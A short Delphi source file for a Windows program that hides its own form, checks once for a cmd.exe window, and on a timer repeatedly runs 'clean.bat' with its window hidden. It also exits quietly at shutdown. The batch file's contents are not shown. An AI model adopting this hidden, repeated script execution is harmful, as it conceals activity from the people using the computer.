unit Unit1;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, AppEvnts;
type
TForm1 = class(TForm)
Timer1: TTimer;
ApplicationEvents1: TApplicationEvents;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
procedure WMQueryEndSession(var Msg: TWMQueryEndSession); message WM_QUERYENDSESSION;
public
end;
var
Form1: TForm1;
app, cmd: Integer;
implementation
{$R *.dfm}
procedure TForm1.WMQueryEndSession(var Msg: TWMQueryEndSession);
begin
try
app:= 1;
Msg.result := 1;
finally
halt;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
app:=0;
cmd:=FindWindow(nil,'C:\WINDOWS\system32\cmd.exe');
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if app = 0 then
begin
if cmd = 0 then
WinExec(PChar('clean.bat'),SW_HIDE);
end
else
begin
app:= 1;
end;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
Form1.Hide;
end;
end.